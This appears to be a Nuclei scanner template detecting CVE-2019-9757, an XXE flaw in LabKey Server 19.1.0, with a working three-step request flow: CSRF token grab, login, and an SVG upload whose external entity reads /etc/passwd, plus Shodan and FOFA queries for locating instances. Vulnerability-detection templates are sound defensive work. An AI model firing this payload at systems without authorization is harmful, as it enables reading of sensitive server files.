id: CVE-2019-9757

info:
  name: LabKey Server 19.1.0 - XML External Entity (XXE)
  author: ritikchaddha
  severity: high
  description: |
    An issue was discovered in LabKey Server 19.1.0. Sending an SVG containing an XXE payload to the endpoint visualization-exportImage.view or visualization-exportPDF.view allows local files to be read.
  impact: |
    Attackers can read arbitrary local files on the server, potentially leading to information disclosure.
  remediation: |
    Update to the latest version of LabKey Server or apply security patches that fix XML parsing vulnerabilities.
  reference:
    - https://rhinosecuritylabs.com/application-security/labkey-server-vulnerabilities-to-rce/
    - https://github.com/LabKey/Issues/issues/37636
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9757
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-9757
    cwe-id: CWE-611
    epss-score: 0.37336
    epss-percentile: 0.98333
    cpe: cpe:2.3:a:labkey:labkey_server:19.1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: labkey
    product: labkey_server
    shodan-query: title:"LabKey"
    fofa-query: title="LabKey"
  tags: cve,cve2019,labkey,xxe,authenticated,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /labkey/home/project-begin.view HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - '"X\-LABKEY\-CSRF":"([0-9a-z]+)"'
        internal: true

  - raw:
      - |
        POST /home/login-loginApi.api HTTP/1.1
        Host: {{Hostname}}
        X-LABKEY-CSRF: {{csrf}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        remember=on&email={{username}}&password={{password}}&approvedTermsOfUse=false

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - '!status_code == 400'
        condition: and

  - raw:
      - |
        POST /labkey/home/visualization-exportPDF.view HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150

        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="X-LABKEY-CSRF"

        {{csrf}}
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="svg"

        <?xml version="1.0" standalone="yes"?>
        <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
        <svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg">
        <text x="0" y="15" fill="red">&xxe;</text>
        </svg>
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="title"

        test
        -----------------------------735323031399963166993862150--

    matchers:
      - type: dsl
        dsl:
          - 'regex("root:.*:0:0:", body)'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502201c1299df6c20c49f1d3ad7cd21bac67e401b5e104d6f1c471a21d3f722b767fd0221008fee23d0e24b31b2618ccafea98bb096159b8d9032f63f9f073f2443e93b40d9:922c64590222798bb761d5b6d8e72950